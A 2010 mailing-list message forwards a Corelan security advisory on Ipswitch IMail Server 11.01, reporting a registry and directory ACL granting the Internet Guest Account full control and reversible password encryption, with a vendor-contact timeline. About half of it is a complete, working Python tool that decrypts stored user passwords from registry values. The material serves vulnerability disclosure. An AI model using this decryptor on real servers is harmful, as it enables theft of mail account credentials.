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Date: Thu, 4 Feb 2010 22:28:59 -0400
From: Rosa Maria Gonzalez Pereira <analuis13@...mail.com>
To: <bugtraq@...urityfocus.com>, <full-disclosure@...ts.grok.org.uk>,
<secalert@...urityreason.com>, <submissions@...ketstormsecurity.org>,
<vuln@...unia.com>
Subject: FW: CORELAN-10-009 : Ipswitch IMAIL 11.01
multiple vulnerabilities (reversible encryption + weak ACL)
Creo que se han equivocado de destinatario
> From: security@...elan.be
> To: bugtraq@...urityfocus.com; full-disclosure@...ts.grok.org.uk; secalert@...urityreason.com; submissions@...ketstormsecurity.org; vuln@...unia.com
> Date: Thu, 4 Feb 2010 23:40:31 +0100
> CC: Corelan.Team@...elan.be
> Subject: [Full-disclosure] CORELAN-10-009 : Ipswitch IMAIL 11.01 multiple vulnerabilities (reversible encryption + weak ACL)
>
> |------------------------------------------------------------------|
> | __ __ |
> | _________ ________ / /___ _____ / /____ ____ _____ ___ |
> | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
> | / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
> | \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
> | |
> | http://www.corelan.be:8800 |
> | |
> |-------------------------------------------------[ EIP Hunters ]--|
>
> Advisory : CORELAN-10-009
> Disclosure Date : Feb 4th, 2010
>
> 0x00 : Vulnerability Information
>
> [+] Product : IMail Server
> [+] Version : 11.01
> [+] Vendor : Ipswitch
> [+] URL : http://www.ipswitch.com/
> [+] Platform : Windows
> [+] Issue fix: No
> [+] Vulnerability discovered by: sinn3r
> [+] Greetings to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT/mr_me/ekse/sinn3r/Jacky/jnz;
> and all the guys with secret identities at exploit-db.com :-p
> [+] Special thanks to: Jason from Ipswitch
>
> 0x01 : Vendor Description of Software
>
> "The Award-winning IMail Server is a proven email messaging solution for small and mid-sized businesses.
> Reliable, scalable and versatile, IMail Server is an affordable choice that meets the messaging needs
> of small and medium sized businesses. Unlike complicated and more expensive messaging solutions, IMail
> Server delivers a quick and easy installation. As a scalable, standards-based, email server with Webmail,
> optional integration with Microsoft Exchange ActiveSync(r), SMTP, POP, IMAP, LDAP, and List Server, IMail
> users can send and receive email using any standards-based client, including Microsoft Outlook(r),
> Outlook Express(r), or Eudora(r). Or, users can access email from anywhere via IMail's customizable Web
> messaging, available in eight languages.
>
> Designed to place minimal ongoing maintenance burden on network administrators, IMail can authenticate
> users from its own database, an active directory database, or from any ODBC-compliant data store, making
> life easier for the busy administrator. IMail Server also delivers a quick and easy installation or upgrade
> process."
>
> 0x02 : Vulnerability Details
>
> 1. By default, IMail allows Internet Guest Account to have "Full Control" to the following registry key,
> including its subkeys and values. As well as the default IMail directory:
> HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail
> C:\Program Files\Ipswitch\IMail\
>
> 2. The IMail password decryption algorithm implemented in IMailsec.dll is also reversible.
>
> 0x03 : Vendor Communication
>
> 1/21/2010 - IMail vendor contacted
> 1/26/2010 - Got a reply from the vendor (product development manager) for more vulnerability clarification.
> No fix yet.
> 2/02/2010 - Received another reply from the vendor: Issues logged for additional research. No plans for
> immediate changes. A public advisory was also suggested by the vendor as reference in their
> tech/KB article.
> 2/04/2010 - Public disclosure: Advisory created. Vendor informed.
>
> 0x04 : Exploit/Proof-of-Concept
>
> #!/usr/bin/python
>
> ##########################################################################
> # Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
> # Tested on: Windows XP SP3 (Windows version does not matter)
> # Description:
> # So I reverse engineered the IMail password decryption function in
> # IMailsec.dll, located at 0x00563130.
> #
> # In order to decrypt correctly, you must have the correct username,
> # because it is used as a key.
> #
> # All usernames and passwords are stored in registry, which can be
> # found at:
> # HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\[domain name]\Users
> # Every registry key under "Users" has a string value named "Password",
> # in there you'll find the encrypted password.
> #
> # By default, Internet Guest Account is granted with "Full Control" to
> # the IMail registry, and its directory. That means if an attacker
> # manages to gain code execution (ie.via a web app bug), IMail can be
> # his/her next playground. And IMail users may not be safe.
> #
> # Demo:
> # sinn3r@bt4:~$ ./iMailDecrypt.py admin C8D3D19AA094
> # Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
> # coded by sinn3r - x90.sinner{at}gmail.c0m
> # [*] Password = god123
> #
> # Responsible Disclosure Timeline:
> # 1/21/2010 - IMail vendor contacted
> # 1/26/2010 - Got a reply from the vendor for more vulnerability
> # clarfication. No fix yet.
> # 2/02/2010 - Received another reply from the vendor: Issues logged for
> # additional research. No plans for immediate changes.
> # A public advisory was also suggested by the vendor as
> # reference in their tech/KB article.
> # 2/04/2010 - Public Disclosure. Vendor informed again.
> ##########################################################################
>
> import sys
> import binascii
>
> ## Convert the encrypted string to integers for calculation
> ## Returns the integer version as a list
> def convertToInt(data):
> charset = []
> for char in (data):
> tmp = char.encode("hex")
> tmp = int(tmp, 16)
> charset.append(tmp)
> return charset
>
>
> ## Decrypt the password
> ## Returns the decrypted version as a list
> def decryptPassword(intUsername, intPassword):
> results = []
> counter = 0
> counter2 = 0
> pwdLength = len(intPassword)
> while counter<pwdLength:
> firstByte = intPassword[counter]
> if firstByte <= 57: #0x39
> firstByte -= 48 #0x30
> else:
> firstByte -= 55 #0x37
> firstByte *= 16 #SHL 0x40
> secondByte = intPassword[counter+1]
> if secondByte <= 57: #0x39
> secondByte -= 48 #0x30
> else:
> secondByte -= 55 #0x37
> tmp = firstByte + secondByte
>
> if len(intUsername) <= counter2:
> counter2 = 0
>
> if intUsername[counter2] > 54: #0x41
> if intUsername[counter2] < 90: #5A
> intUsername[counter2] += 32 #0x20
>
> tmp -= intUsername[counter2]
> counter2 += 1
>
> results.append(hex(tmp)[2:])
> counter += 2
> return results
>
> banner = """Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
> coded by sinn3r - x90.sinner{at}gmail{d0t}c0m"""
>
> print banner
>
> if len(sys.argv) == 3:
> if len(sys.argv[2]) % 2 == 0:
> username = convertToInt(sys.argv[1])
> password = convertToInt(sys.argv[2])
> decryptor = str("".join(decryptPassword(username, password)))
> print "[*] Password = %s" %binascii.unhexlify(decryptor)
> else:
> print "[*] Incorrect Encrypted password length"
> else:
> print "[*] Usage: %s <username> <encrypted password>" %sys.argv[0]
>
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